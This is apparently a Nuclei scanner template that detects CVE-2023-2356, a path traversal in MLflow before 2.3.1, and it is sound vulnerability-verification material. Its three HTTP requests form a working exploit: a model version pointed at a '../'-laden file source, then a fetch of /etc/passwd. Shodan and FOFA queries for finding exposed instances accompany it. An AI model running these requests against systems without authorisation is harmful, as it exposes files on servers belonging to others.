id: CVE-2023-2356

info:
  name: Mlflow <2.3.0 - Local File Inclusion
  author: Co5mos
  severity: high
  description: |
    Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.
  reference:
    - https://huntr.dev/bounties/7b5d130d-38eb-4133-8c7d-0dfc9a9d9896/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2356
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-2356
    cwe-id: CWE-23
  metadata:
    fofa-query: app="MLflow"
    max-request: 3
    shodan-query: http.title:"mlflow"
    verified: true
  tags: cve,cve2023,lfi,huntr,mlflow,oss

variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{str}}"}

      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{str}}", "source": "file://{{Hostname}}/../../../../../../../"}

      - |
        GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: version
        internal: true
        group: 1
        regex:
          - '"version": "([0-9.]+)",'